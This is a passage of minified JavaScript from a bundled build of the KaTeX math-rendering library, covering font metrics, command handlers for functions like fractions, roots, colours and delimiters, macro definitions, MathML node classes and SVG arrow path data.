5,0,0],57345:[-.00499,.605,0,0],57680:[0,.12,0,0],57681:[0,.12,0,0],57682:[0,.12,0,0],57683:[0,.12,0,0]},"Typewriter-Regular":{33:[0,.61111,0,0],34:[0,.61111,0,0],35:[0,.61111,0,0],36:[.08333,.69444,0,0],37:[.08333,.69444,0,0],38:[0,.61111,0,0],39:[0,.61111,0,0],40:[.08333,.69444,0,0],41:[.08333,.69444,0,0],42:[0,.52083,0,0],43:[-.08056,.53055,0,0],44:[.13889,.125,0,0],45:[-.08056,.53055,0,0],46:[0,.125,0,0],47:[.08333,.69444,0,0],48:[0,.61111,0,0],49:[0,.61111,0,0],50:[0,.61111,0,0],51:[0,.61111,0,0],52:[0,.61111,0,0],53:[0,.61111,0,0],54:[0,.61111,0,0],55:[0,.61111,0,0],56:[0,.61111,0,0],57:[0,.61111,0,0],58:[0,.43056,0,0],59:[.13889,.43056,0,0],60:[-.05556,.55556,0,0],61:[-.19549,.41562,0,0],62:[-.05556,.55556,0,0],63:[0,.61111,0,0],64:[0,.61111,0,0],65:[0,.61111,0,0],66:[0,.61111,0,0],67:[0,.61111,0,0],68:[0,.61111,0,0],69:[0,.61111,0,0],70:[0,.61111,0,0],71:[0,.61111,0,0],72:[0,.61111,0,0],73:[0,.61111,0,0],74:[0,.61111,0,0],75:[0,.61111,0,0],76:[0,.61111,0,0],77:[0,.61111,0,0],78:[0,.61111,0,0],79:[0,.61111,0,0],80:[0,.61111,0,0],81:[.13889,.61111,0,0],82:[0,.61111,0,0],83:[0,.61111,0,0],84:[0,.61111,0,0],85:[0,.61111,0,0],86:[0,.61111,0,0],87:[0,.61111,0,0],88:[0,.61111,0,0],89:[0,.61111,0,0],90:[0,.61111,0,0],91:[.08333,.69444,0,0],92:[.08333,.69444,0,0],93:[.08333,.69444,0,0],94:[0,.61111,0,0],95:[.09514,0,0,0],96:[0,.61111,0,0],97:[0,.43056,0,0],98:[0,.61111,0,0],99:[0,.43056,0,0],100:[0,.61111,0,0],101:[0,.43056,0,0],102:[0,.61111,0,0],103:[.22222,.43056,0,0],104:[0,.61111,0,0],105:[0,.61111,0,0],106:[.22222,.61111,0,0],107:[0,.61111,0,0],108:[0,.61111,0,0],109:[0,.43056,0,0],110:[0,.43056,0,0],111:[0,.43056,0,0],112:[.22222,.43056,0,0],113:[.22222,.43056,0,0],114:[0,.43056,0,0],115:[0,.43056,0,0],116:[0,.55358,0,0],117:[0,.43056,0,0],118:[0,.43056,0,0],119:[0,.43056,0,0],120:[0,.43056,0,0],121:[.22222,.43056,0,0],122:[0,.43056,0,0],123:[.08333,.69444,0,0],124:[.08333,.69444,0,0],125:[.08333,.69444,0,0],126:[0,.61111,0,0],127:[0,.61111,0,0],305:[0,.43056,0,0],567:[.22222,.43056,0,0],768:[0,.61111,0,0],769:[0,.61111,0,0],770:[0,.61111,0,0],771:[0,.61111,0,0],772:[0,.56555,0,0],774:[0,.61111,0,0],776:[0,.61111,0,0],778:[0,.61111,0,0],780:[0,.56597,0,0],915:[0,.61111,0,0],916:[0,.61111,0,0],920:[0,.61111,0,0],923:[0,.61111,0,0],926:[0,.61111,0,0],928:[0,.61111,0,0],931:[0,.61111,0,0],933:[0,.61111,0,0],934:[0,.61111,0,0],936:[0,.61111,0,0],937:[0,.61111,0,0],2018:[0,.61111,0,0],2019:[0,.61111,0,0],8242:[0,.61111,0,0]}}},{}],43:[function(e,t,r){"use strict";var a=e("./utils");var n=u(a);var i=e("./ParseError");var l=u(i);var s=e("./ParseNode");var o=u(s);function u(e){return e&&e.__esModule?e:{default:e}}function c(e,r,a){if(typeof e==="string"){e=[e]}if(typeof r==="number"){r={numArgs:r}}var n={numArgs:r.numArgs,argTypes:r.argTypes,greediness:r.greediness===undefined?1:r.greediness,allowedInText:!!r.allowedInText,allowedInMath:r.allowedInMath,numOptionalArgs:r.numOptionalArgs||0,infix:!!r.infix,handler:a};for(var i=0;i<e.length;++i){t.exports[e[i]]=n}}var f=function e(t){if(t.type==="ordgroup"){return t.value}else{return[t]}};c("\\sqrt",{numArgs:1,numOptionalArgs:1},function(e,t){var r=t[0];var a=t[1];return{type:"sqrt",body:a,index:r}});var h={"\\text":undefined,"\\textrm":"mathrm","\\textsf":"mathsf","\\texttt":"mathtt","\\textnormal":"mathrm","\\textbf":"mathbf","\\textit":"textit"};c(["\\text","\\textrm","\\textsf","\\texttt","\\textnormal","\\textbf","\\textit"],{ numArgs:1,argTypes:["text"],greediness:2,allowedInText:true},function(e,t){var r=t[0];return{type:"text",body:f(r),style:h[e.funcName]}});c("\\textcolor",{numArgs:2,allowedInText:true,greediness:3,argTypes:["color","original"]},function(e,t){var r=t[0];var a=t[1];return{type:"color",color:r.value,value:f(a)}});c("\\color",{numArgs:1,allowedInText:true,greediness:3,argTypes:["color"]},null);c("\\overline",{numArgs:1},function(e,t){var r=t[0];return{type:"overline",body:r}});c("\\underline",{numArgs:1},function(e,t){var r=t[0];return{type:"underline",body:r}});c("\\rule",{numArgs:2,numOptionalArgs:1,argTypes:["size","size","size"]},function(e,t){var r=t[0];var a=t[1];var n=t[2];return{type:"rule",shift:r&&r.value,width:a.value,height:n.value}});c(["\\kern","\\mkern"],{numArgs:1,argTypes:["size"]},function(e,t){return{type:"kern",dimension:t[0].value}});c("\\KaTeX",{numArgs:0},function(e){return{type:"katex"}});c("\\phantom",{numArgs:1},function(e,t){var r=t[0];return{type:"phantom",value:f(r)}});c(["\\mathord","\\mathbin","\\mathrel","\\mathopen","\\mathclose","\\mathpunct","\\mathinner"],{numArgs:1},function(e,t){var r=t[0];return{type:"mclass",mclass:"m"+e.funcName.substr(5),value:f(r)}});c("\\stackrel",{numArgs:2},function(e,t){var r=t[0];var a=t[1];var n=new o.default("op",{type:"op",limits:true,alwaysHandleSupSub:true,symbol:false,value:f(a)},a.mode);var i=new o.default("supsub",{base:n,sup:r,sub:null},r.mode);return{type:"mclass",mclass:"mrel",value:[i]}});c("\\bmod",{numArgs:0},function(e,t){return{type:"mod",modType:"bmod",value:null}});c(["\\pod","\\pmod","\\mod"],{numArgs:1},function(e,t){var r=t[0];return{type:"mod",modType:e.funcName.substr(1),value:f(r)}});var v={"\\bigl":{mclass:"mopen",size:1},"\\Bigl":{mclass:"mopen",size:2},"\\biggl":{mclass:"mopen",size:3},"\\Biggl":{mclass:"mopen",size:4},"\\bigr":{mclass:"mclose",size:1},"\\Bigr":{mclass:"mclose",size:2},"\\biggr":{mclass:"mclose",size:3},"\\Biggr":{mclass:"mclose",size:4},"\\bigm":{mclass:"mrel",size:1},"\\Bigm":{mclass:"mrel",size:2},"\\biggm":{mclass:"mrel",size:3},"\\Biggm":{mclass:"mrel",size:4},"\\big":{mclass:"mord",size:1},"\\Big":{mclass:"mord",size:2},"\\bigg":{mclass:"mord",size:3},"\\Bigg":{mclass:"mord",size:4}};var d=["(",")","[","\\lbrack","]","\\rbrack","\\{","\\lbrace","\\}","\\rbrace","\\lfloor","\\rfloor","\\lceil","\\rceil","<",">","\\langle","\\rangle","\\lt","\\gt","\\lvert","\\rvert","\\lVert","\\rVert","\\lgroup","\\rgroup","\\lmoustache","\\rmoustache","/","\\backslash","|","\\vert","\\|","\\Vert","\\uparrow","\\Uparrow","\\downarrow","\\Downarrow","\\updownarrow","\\Updownarrow","."];var p={"\\Bbb":"\\mathbb","\\bold":"\\mathbf","\\frak":"\\mathfrak"};c(["\\blue","\\orange","\\pink","\\red","\\green","\\gray","\\purple","\\blueA","\\blueB","\\blueC","\\blueD","\\blueE","\\tealA","\\tealB","\\tealC","\\tealD","\\tealE","\\greenA","\\greenB","\\greenC","\\greenD","\\greenE","\\goldA","\\goldB","\\goldC","\\goldD","\\goldE","\\redA","\\redB","\\redC","\\redD","\\redE","\\maroonA","\\maroonB","\\maroonC","\\maroonD","\\maroonE","\\purpleA","\\purpleB","\\purpleC","\\purpleD","\\purpleE","\\mintA","\\mintB","\\mintC","\\grayA","\\grayB","\\grayC","\\grayD","\\grayE","\\grayF","\\grayG","\\grayH","\\grayI","\\kaBlue","\\kaGreen"],{numArgs:1,allowedInText:true,greediness:3},function(e,t){var r=t[0];return{type:"color",color:"katex-"+e.funcName.slice(1),value:f(r)}});c(["\\arcsin","\\arccos","\\arctan","\\arctg","\\arcctg","\\arg","\\ch","\\cos","\\cosec","\\cosh","\\cot","\\cotg","\\coth","\\csc","\\ctg","\\cth","\\deg","\\dim","\\exp","\\hom","\\ker","\\lg","\\ln","\\log","\\sec","\\sin","\\sinh","\\sh","\\tan","\\tanh","\\tg","\\th"],{numArgs:0},function(e){return{type:"op",limits:false,symbol:false,body:e.funcName}});c(["\\det","\\gcd","\\inf","\\lim","\\liminf","\\limsup","\\max","\\min","\\Pr","\\sup"],{numArgs:0},function(e){return{type:"op",limits:true,symbol:false,body:e.funcName}});c(["\\int","\\iint","\\iiint","\\oint"],{numArgs:0},function(e){return{type:"op",limits:false,symbol:true,body:e.funcName}});c(["\\coprod","\\bigvee","\\bigwedge","\\biguplus","\\bigcap","\\bigcup","\\intop","\\prod","\\sum","\\bigotimes","\\bigoplus","\\bigodot","\\bigsqcup","\\smallint"],{numArgs:0},function(e){return{type:"op",limits:true,symbol:true,body:e.funcName}});c("\\mathop",{numArgs:1},function(e,t){var r=t[0];return{type:"op",limits:false,symbol:false,value:f(r)}});c(["\\dfrac","\\frac","\\tfrac","\\dbinom","\\binom","\\tbinom","\\\\atopfrac"],{numArgs:2,greediness:2},function(e,t){var r=t[0];var a=t[1];var n=void 0;var i=null;var l=null;var s="auto";switch(e.funcName){case"\\dfrac":case"\\frac":case"\\tfrac":n=true;break;case"\\\\atopfrac":n=false;break;case"\\dbinom":case"\\binom":case"\\tbinom":n=false;i="(";l=")";break;default:throw new Error("Unrecognized genfrac command")}switch(e.funcName){case"\\dfrac":case"\\dbinom":s="display";break;case"\\tfrac":case"\\tbinom":s="text";break}return{type:"genfrac",numer:r,denom:a,hasBarLine:n,leftDelim:i,rightDelim:l,size:s}});c(["\\llap","\\rlap"],{numArgs:1,allowedInText:true},function(e,t){var r=t[0];return{type:e.funcName.slice(1),body:r}});var m=function e(t,r){if(n.default.contains(d,t.value)){return t}else{throw new l.default("Invalid delimiter: '"+t.value+"' after '"+r.funcName+"'",t)}};c(["\\bigl","\\Bigl","\\biggl","\\Biggl","\\bigr","\\Bigr","\\biggr","\\Biggr","\\bigm","\\Bigm","\\biggm","\\Biggm","\\big","\\Big","\\bigg","\\Bigg"],{numArgs:1},function(e,t){var r=m(t[0],e);return{type:"delimsizing",size:v[e.funcName].size,mclass:v[e.funcName].mclass,value:r.value}});c(["\\left","\\right"],{numArgs:1},function(e,t){var r=m(t[0],e);return{type:"leftright",value:r.value}});c("\\middle",{numArgs:1},function(e,t){var r=m(t[0],e);if(!e.parser.leftrightDepth){throw new l.default("\\middle without preceding \\left",r)}return{type:"middle",value:r.value}});c(["\\tiny","\\scriptsize","\\footnotesize","\\small","\\normalsize","\\large","\\Large","\\LARGE","\\huge","\\Huge"],0,null);c(["\\displaystyle","\\textstyle","\\scriptstyle","\\scriptscriptstyle"],0,null);c(["\\rm","\\sf","\\tt","\\bf","\\it"],0,null);c(["\\mathrm","\\mathit","\\mathbf","\\mathbb","\\mathcal","\\mathfrak","\\mathscr","\\mathsf","\\mathtt","\\Bbb","\\bold","\\frak"],{numArgs:1,greediness:2},function(e,t){var r=t[0];var a=e.funcName;if(a in p){a=p[a]}return{type:"font",font:a.slice(1),body:r}});c(["\\acute","\\grave","\\ddot","\\tilde","\\bar","\\breve","\\check","\\hat","\\vec","\\dot","\\widehat","\\widetilde","\\overrightarrow","\\overleftarrow","\\Overrightarrow","\\overleftrightarrow","\\overgroup","\\overlinesegment","\\overleftharpoon","\\overrightharpoon"],{numArgs:1},function(e,t){var r=t[0];var a=!n.default.contains(["\\acute","\\grave","\\ddot","\\tilde","\\bar","\\breve","\\check","\\hat","\\vec","\\dot"],e.funcName);var i=!a||n.default.contains(["\\widehat","\\widetilde"],e.funcName);return{type:"accent",label:e.funcName,isStretchy:a,isShifty:i,value:f(r),base:r}});c(["\\'","\\`","\\^","\\~","\\=","\\u","\\.",'\\"',"\\r","\\H","\\v"],{numArgs:1,allowedInText:true,allowedInMath:false},function(e,t){var r=t[0];return{type:"accent",label:e.funcName,isStretchy:false,isShifty:true,value:f(r),base:r}});c(["\\overbrace","\\underbrace"],{numArgs:1},function(e,t){var r=t[0];return{type:"horizBrace",label:e.funcName,isOver:/^\\over/.test(e.funcName),base:r}});c(["\\underleftarrow","\\underrightarrow","\\underleftrightarrow","\\undergroup","\\underlinesegment","\\undertilde"],{numArgs:1},function(e,t){var r=t[0];return{type:"accentUnder",label:e.funcName,value:f(r),body:r}});c(["\\xleftarrow","\\xrightarrow","\\xLeftarrow","\\xRightarrow","\\xleftrightarrow","\\xLeftrightarrow","\\xhookleftarrow","\\xhookrightarrow","\\xmapsto","\\xrightharpoondown","\\xrightharpoonup","\\xleftharpoondown","\\xleftharpoonup","\\xrightleftharpoons","\\xleftrightharpoons","\\xLongequal","\\xtwoheadrightarrow","\\xtwoheadleftarrow","\\xLongequal","\\xtofrom"],{numArgs:1,numOptionalArgs:1},function(e,t){var r=t[0];var a=t[1];return{type:"xArrow",label:e.funcName,body:a,below:r}});c(["\\cancel","\\bcancel","\\xcancel","\\sout","\\fbox"],{numArgs:1},function(e,t){var r=t[0];return{type:"enclose",label:e.funcName,body:r}});c(["\\over","\\choose","\\atop"],{numArgs:0,infix:true},function(e){var t=void 0;switch(e.funcName){case"\\over":t="\\frac";break;case"\\choose":t="\\binom";break;case"\\atop":t="\\\\atopfrac";break;default:throw new Error("Unrecognized infix genfrac command")}return{type:"infix",replaceWith:t,token:e.token}});c(["\\\\","\\cr"],{numArgs:0,numOptionalArgs:1,argTypes:["size"]},function(e,t){var r=t[0];return{type:"cr",size:r}});c(["\\begin","\\end"],{numArgs:1,argTypes:["text"]},function(e,t){var r=t[0];if(r.type!=="ordgroup"){throw new l.default("Invalid environment name",r)}var a="";for(var n=0;n<r.value.length;++n){a+=r.value[n].value}return{type:"environment",name:a,nameGroup:r}})},{"./ParseError":29,"./ParseNode":30,"./utils":51}],44:[function(e,t,r){"use strict";function a(e,r){t.exports[e]=r}a("\\bgroup","{");a("\\egroup","}");a("\\begingroup","{");a("\\endgroup","}");a("\\mkern","\\kern");a("\\overset","\\mathop{#2}\\limits^{#1}");a("\\underset","\\mathop{#2}\\limits_{#1}");a("\\boxed","\\fbox{\\displaystyle{#1}}");a("\\iff","\\;\\Longleftrightarrow\\;");a("\\implies","\\;\\Longrightarrow\\;");a("\\impliedby","\\;\\Longleftarrow\\;");a("\\ordinarycolon",":");a("\\vcentcolon","\\mathrel{\\mathop\\ordinarycolon}");a("\\dblcolon","\\vcentcolon\\mathrel{\\mkern-.9mu}\\vcentcolon");a("\\coloneqq","\\vcentcolon\\mathrel{\\mkern-1.2mu}=");a("\\Coloneqq","\\dblcolon\\mathrel{\\mkern-1.2mu}=");a("\\coloneq","\\vcentcolon\\mathrel{\\mkern-1.2mu}\\mathrel{-}");a("\\Coloneq","\\dblcolon\\mathrel{\\mkern-1.2mu}\\mathrel{-}");a("\\eqqcolon","=\\mathrel{\\mkern-1.2mu}\\vcentcolon");a("\\Eqqcolon","=\\mathrel{\\mkern-1.2mu}\\dblcolon");a("\\eqcolon","\\mathrel{-}\\mathrel{\\mkern-1.2mu}\\vcentcolon");a("\\Eqcolon","\\mathrel{-}\\mathrel{\\mkern-1.2mu}\\dblcolon");a("\\colonapprox","\\vcentcolon\\mathrel{\\mkern-1.2mu}\\approx");a("\\Colonapprox","\\dblcolon\\mathrel{\\mkern-1.2mu}\\approx");a("\\colonsim","\\vcentcolon\\mathrel{\\mkern-1.2mu}\\sim");a("\\Colonsim","\\dblcolon\\mathrel{\\mkern-1.2mu}\\sim");a("\\ratio","\\vcentcolon");a("\\coloncolon","\\dblcolon");a("\\colonequals","\\coloneqq");a("\\coloncolonequals","\\Coloneqq");a("\\equalscolon","\\eqqcolon");a("\\equalscoloncolon","\\Eqqcolon");a("\\colonminus","\\coloneq");a("\\coloncolonminus","\\Coloneq");a("\\minuscolon","\\eqcolon");a("\\minuscoloncolon","\\Eqcolon");a("\\coloncolonapprox","\\Colonapprox");a("\\coloncolonsim","\\Colonsim");a("\\simcolon","\\sim\\mathrel{\\mkern-1.2mu}\\vcentcolon");a("\\simcoloncolon","\\sim\\mathrel{\\mkern-1.2mu}\\dblcolon");a("\\approxcolon","\\approx\\mathrel{\\mkern-1.2mu}\\vcentcolon");a("\\approxcoloncolon","\\approx\\mathrel{\\mkern-1.2mu}\\dblcolon")},{}],45:[function(e,t,r){"use strict";var a=e("babel-runtime/helpers/classCallCheck");var n=u(a);var i=e("babel-runtime/helpers/createClass");var l=u(i);var s=e("./utils");var o=u(s);function u(e){return e&&e.__esModule?e:{default:e}}var c=function(){function e(t,r){(0,n.default)(this,e);this.type=t;this.attributes={};this.children=r||[]}(0,l.default)(e,[{key:"setAttribute",value:function e(t,r){this.attributes[t]=r}},{key:"toNode",value:function e(){var t=document.createElementNS("path_to_url",this.type);for(var r in this.attributes){if(Object.prototype.hasOwnProperty.call(this.attributes,r)){t.setAttribute(r,this.attributes[r])}}for(var a=0;a<this.children.length;a++){t.appendChild(this.children[a].toNode())}return t}},{key:"toMarkup",value:function e(){var t="<"+this.type;for(var r in this.attributes){if(Object.prototype.hasOwnProperty.call(this.attributes,r)){t+=" "+r+'="';t+=o.default.escape(this.attributes[r]);t+='"'}}t+=">";for(var a=0;a<this.children.length;a++){t+=this.children[a].toMarkup()}t+="</"+this.type+">";return t}}]);return e}();var f=function(){function e(t){(0,n.default)(this,e);this.text=t}(0,l.default)(e,[{key:"toNode",value:function e(){return document.createTextNode(this.text)}},{key:"toMarkup",value:function e(){return o.default.escape(this.text)}}]);return e}();t.exports={MathNode:c,TextNode:f}},{"./utils":51,"babel-runtime/helpers/classCallCheck":4,"babel-runtime/helpers/createClass":5}],46:[function(e,t,r){"use strict";var a=e("./Parser");var n=i(a);function i(e){return e&&e.__esModule?e:{default:e}}var l=function e(t,r){if(!(typeof t==="string"||t instanceof String)){throw new TypeError("KaTeX can only parse string typed expression")}var a=new n.default(t,r);return a.parse()};t.exports=l},{"./Parser":31}],47:[function(e,t,r){"use strict";var a=e("./buildCommon");var n=e("./mathMLTree");var i=e("./utils");var l={widehat:"^",widetilde:"~",undertilde:"~",overleftarrow:"\u2190",underleftarrow:"\u2190",xleftarrow:"\u2190",overrightarrow:"\u2192",underrightarrow:"\u2192",xrightarrow:"\u2192",underbrace:"\u23b5",overbrace:"\u23de",overleftrightarrow:"\u2194",underleftrightarrow:"\u2194",xleftrightarrow:"\u2194",Overrightarrow:"\u21d2",xRightarrow:"\u21d2",overleftharpoon:"\u21bc",xleftharpoonup:"\u21bc",overrightharpoon:"\u21c0",xrightharpoonup:"\u21c0",xLeftarrow:"\u21d0",xLeftrightarrow:"\u21d4",xhookleftarrow:"\u21a9",xhookrightarrow:"\u21aa",xmapsto:"\u21a6",xrightharpoondown:"\u21c1",xleftharpoondown:"\u21bd",xrightleftharpoons:"\u21cc",xleftrightharpoons:"\u21cb",xtwoheadleftarrow:"\u219e",xtwoheadrightarrow:"\u21a0",xLongequal:"=",xtofrom:"\u21c4"};var s=function e(t){var r=new n.MathNode("mo",[new n.TextNode(l[t.substr(1)])]);r.setAttribute("stretchy","true");return r};var o={overleftarrow:[.522,0,"leftarrow",.5],underleftarrow:[.522,0,"leftarrow",.5],xleftarrow:[.261,.261,"leftarrow",.783],overrightarrow:[.522,0,"rightarrow",.5],underrightarrow:[.522,0,"rightarrow",.5],xrightarrow:[.261,.261,"rightarrow",.783],overbrace:[.548,0,"overbrace",1.6],underbrace:[.548,0,"underbrace",1.6],overleftrightarrow:[.522,0,"leftrightarrow",.5],underleftrightarrow:[.522,0,"leftrightarrow",.5],xleftrightarrow:[.261,.261,"leftrightarrow",.783],Overrightarrow:[.56,0,"doublerightarrow",.5],xLeftarrow:[.28,.28,"doubleleftarrow",.783],xRightarrow:[.28,.28,"doublerightarrow",.783],xLeftrightarrow:[.28,.28,"doubleleftrightarrow",.955],overleftharpoon:[.522,0,"leftharpoon",.5],overrightharpoon:[.522,0,"rightharpoon",.5],xleftharpoonup:[.261,.261,"leftharpoon",.783],xrightharpoonup:[.261,.261,"rightharpoon",.783],xhookleftarrow:[.261,.261,"hookleftarrow",.87],xhookrightarrow:[.261,.261,"hookrightarrow",.87],overlinesegment:[.414,0,"linesegment",.5],underlinesegment:[.414,0,"linesegment",.5],xmapsto:[.261,.261,"mapsto",.783],xrightharpoondown:[.261,.261,"rightharpoondown",.783],xleftharpoondown:[.261,.261,"leftharpoondown",.783],xrightleftharpoons:[.358,.358,"rightleftharpoons",.716],xleftrightharpoons:[.358,.358,"leftrightharpoons",.716],overgroup:[.342,0,"overgroup",.87],undergroup:[.342,0,"undergroup",.87],xtwoheadleftarrow:[.167,.167,"twoheadleftarrow",.86],xtwoheadrightarrow:[.167,.167,"twoheadrightarrow",.86],xLongequal:[.167,.167,"longequal",.5],xtofrom:[.264,.264,"tofrom",.86]};var u={doubleleftarrow:"<path d='M262 157\nl10-10c34-36 62.7-77 86-123 3.3-8 5-13.3 5-16 0-5.3-6.7-8-20-8-7.3\n 0-12.2.5-14.5 1.5-2.3 1-4.8 4.5-7.5 10.5-49.3 97.3-121.7 169.3-217 216-28\n 14-57.3 25-88 33-6.7 2-11 3.8-13 5.5-2 1.7-3 4.2-3 7.5s1 5.8 3 7.5\nc2 1.7 6.3 3.5 13 5.5 68 17.3 128.2 47.8 180.5 91.5 52.3 43.7 93.8 96.2 124.5\n 157.5 9.3 8 15.3 12.3 18 13h6c12-.7 18-4 18-10 0-2-1.7-7-5-15-23.3-46-52-87\n-86-123l-10-10h399738v-40H218c328 0 0 0 0 0l-10-8c-26.7-20-65.7-43-117-69 2.7\n-2 6-3.7 10-5 36.7-16 72.3-37.3 107-64l10-8h399782v-40z\nm8 0v40h399730v-40zm0 194v40h399730v-40z'/>",doublerightarrow:"<path d='M399738 392l\n-10 10c-34 36-62.7 77-86 123-3.3 8-5 13.3-5 16 0 5.3 6.7 8 20 8 7.3 0 12.2-.5\n 14.5-1.5 2.3-1 4.8-4.5 7.5-10.5 49.3-97.3 121.7-169.3 217-216 28-14 57.3-25 88\n-33 6.7-2 11-3.8 13-5.5 2-1.7 3-4.2 3-7.5s-1-5.8-3-7.5c-2-1.7-6.3-3.5-13-5.5-68\n-17.3-128.2-47.8-180.5-91.5-52.3-43.7-93.8-96.2-124.5-157.5-9.3-8-15.3-12.3-18\n-13h-6c-12 .7-18 4-18 10 0 2 1.7 7 5 15 23.3 46 52 87 86 123l10 10H0v40h399782\nc-328 0 0 0 0 0l10 8c26.7 20 65.7 43 117 69-2.7 2-6 3.7-10 5-36.7 16-72.3 37.3\n-107 64l-10 8H0v40zM0 157v40h399730v-40zm0 194v40h399730v-40z'/>",leftarrow:"<path d='M400000 241H110l3-3c68.7-52.7 113.7-120\n 135-202 4-14.7 6-23 6-25 0-7.3-7-11-21-11-8 0-13.2.8-15.5 2.5-2.3 1.7-4.2 5.8\n-5.5 12.5-1.3 4.7-2.7 10.3-4 17-12 48.7-34.8 92-68.5 130S65.3 228.3 18 247\nc-10 4-16 7.7-18 11 0 8.7 6 14.3 18 17 47.3 18.7 87.8 47 121.5 85S196 441.3 208\n 490c.7 2 1.3 5 2 9s1.2 6.7 1.5 8c.3 1.3 1 3.3 2 6s2.2 4.5 3.5 5.5c1.3 1 3.3\n 1.8 6 2.5s6 1 10 1c14 0 21-3.7 21-11 0-2-2-10.3-6-25-20-79.3-65-146.7-135-202\n l-3-3h399890zM100 241v40h399900v-40z'/>",rightarrow:"<path d='M0 241v40h399891c-47.3 35.3-84 78-110 128\n-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20\n 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7\n 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85\n-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5\n-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67\n 151.7 139 205zm0 0v40h399900v-40z'/>"};var c={bcancel:"<line x1='0' y1='0' x2='100%' y2='100%' stroke-width='0.046em'/>",cancel:"<line x1='0' y1='100%' x2='100%' y2='0' stroke-width='0.046em'/>",doubleleftarrow:"><svg viewBox='0 0 400000 549'\npreserveAspectRatio='xMinYMin slice'>"+u["doubleleftarrow"]+"</svg>",doubleleftrightarrow:"><svg width='50.1%' viewBox='0 0 400000 549'\npreserveAspectRatio='xMinYMin slice'>"+u["doubleleftarrow"]+"</svg>\n<svg x='50%' width='50%' viewBox='0 0 400000 549' preserveAspectRatio='xMaxYMin\n slice'>"+u["doublerightarrow"]+"</svg>",doublerightarrow:"><svg viewBox='0 0 400000 549'\npreserveAspectRatio='xMaxYMin slice'>"+u["doublerightarrow"]+"</svg>",hookleftarrow:"><svg width='50.1%' viewBox='0 0 400000 522'\npreserveAspectRatio='xMinYMin slice'>"+u["leftarrow"]+"</svg>\n<svg x='50%' width='50%' viewBox='0 0 400000 522' preserveAspectRatio='xMaxYMin\n slice'><path d='M399859 241c-764 0 0 0 0 0 40-3.3 68.7\n -15.7 86-37 10-12 15-25.3 15-40 0-22.7-9.8-40.7-29.5-54-19.7-13.3-43.5-21-71.5\n -23-17.3-1.3-26-8-26-20 0-13.3 8.7-20 26-20 38 0 71 11.2 99 33.5 0 0 7 5.6 21\n 16.7 14 11.2 21 33.5 21 66.8s-14 61.2-42 83.5c-28 22.3-61 33.5-99 33.5L0 241z\n M0 281v-40h399859v40z'/></svg>",hookrightarrow:"><svg width='50.1%' viewBox='0 0 400000 522'\npreserveAspectRatio='xMinYMin slice'><path d='M400000 281\nH103s-33-11.2-61-33.5S0 197.3 0 164s14.2-61.2 42.5-83.5C70.8 58.2 104 47 142 47\nc16.7 0 25 6.7 25 20 0 12-8.7 18.7-26 20-40 3.3-68.7 15.7-86 37-10 12-15 25.3\n-15 40 0 22.7 9.8 40.7 29.5 54 19.7 13.3 43.5 21 71.5 23h399859zM103 281v-40\nh399897v40z'/></svg><svg x='50%' width='50%' viewBox='0 0 400000 522'\npreserveAspectRatio='xMaxYMin slice'>"+u["rightarrow"]+"</svg>",leftarrow:"><svg viewBox='0 0 400000 522' preserveAspectRatio='xMinYMin\n slice'>"+u["leftarrow"]+"</svg>",leftharpoon:"><svg viewBox='0 0 400000 522' preserveAspectRatio='xMinYMin\n slice'><path d='M0 267c.7 5.3 3 10 7 14h399993v-40H93c3.3\n-3.3 10.2-9.5 20.5-18.5s17.8-15.8 22.5-20.5c50.7-52 88-110.3 112-175 4-11.3 5\n-18.3 3-21-1.3-4-7.3-6-18-6-8 0-13 .7-15 2s-4.7 6.7-8 16c-42 98.7-107.3 174.7\n-196 228-6.7 4.7-10.7 8-12 10-1.3 2-2 5.7-2 11zm100-26v40h399900v-40z'/></svg>",leftharpoondown:"><svg viewBox='0 0 400000 522'\npreserveAspectRatio='xMinYMin slice'><path d=\"M7 241c-4 4-6.333 8.667-7 14\n 0 5.333.667 9 2 11s5.333 5.333 12 10c90.667 54 156 130 196 228 3.333 10.667\n 6.333 16.333 9 17 2 .667 5 1 9 1h5c10.667 0 16.667-2 18-6 2-2.667 1-9.667-3-21\n -32-87.333-82.667-157.667-152-211l-3-3h399907v-40z\nM93 281 H400000 v-40L7 241z\"/></svg>",leftrightarrow:"><svg width='50.1%' viewBox='0 0 400000 522'\npreserveAspectRatio='xMinYMin slice'>"+u["leftarrow"]+"</svg>\n<svg x='50%' width='50%' viewBox='0 0 400000 522' preserveAspectRatio='xMaxYMin\n slice'>"+u["rightarrow"]+"</svg>",leftrightharpoons:"><svg width='50.1%' viewBox='0 0 400000 716'\npreserveAspectRatio='xMinYMin slice'><path d='M0 267c.7 5.3\n 3 10 7 14h399993v-40H93c3.3-3.3 10.2-9.5 20.5-18.5s17.8-15.8 22.5-20.5c50.7-52\n 88-110.3 112-175 4-11.3 5-18.3 3-21-1.3-4-7.3-6-18-6-8 0-13 .7-15 2s-4.7 6.7-8\n 16c-42 98.7-107.3 174.7-196 228-6.7 4.7-10.7 8-12 10-1.3 2-2 5.7-2 11zm100-26\nv40h399900v-40zM0 435v40h400000v-40zm0 0v40h400000v-40z'/></svg>\n<svg x='50%' width='50%' viewBox='0 0 400000 716' preserveAspectRatio='xMaxYMin\n slice'><path d='M399747 705c0 7.3 6.7 11 20 11 8 0 13-.8\n 15-2.5s4.7-6.8 8-15.5c40-94 99.3-166.3 178-217 13.3-8 20.3-12.3 21-13 5.3-3.3\n 8.5-5.8 9.5-7.5 1-1.7 1.5-5.2 1.5-10.5s-2.3-10.3-7-15H0v40h399908c-34 25.3\n-64.7 57-92 95-27.3 38-48.7 77.7-64 119-3.3 8.7-5 14-5 16zM0 435v40h399900v-40z\nm0-194v40h400000v-40zm0 0v40h400000v-40z'/></svg>",linesegment:"><svg width='50.1%' viewBox='0 0 400000 414'\npreserveAspectRatio='xMinYMin slice'><path d='M40 187V40H0\nv334h40V227h399960v-40zm0 0V40H0v334h40V227h399960v-40z'/></svg><svg x='50%'\nwidth='50%' viewBox='0 0 400000 414' preserveAspectRatio='xMaxYMin slice'>\n<path d='M0 187v40h399960v147h40V40h-40v147zm0\n 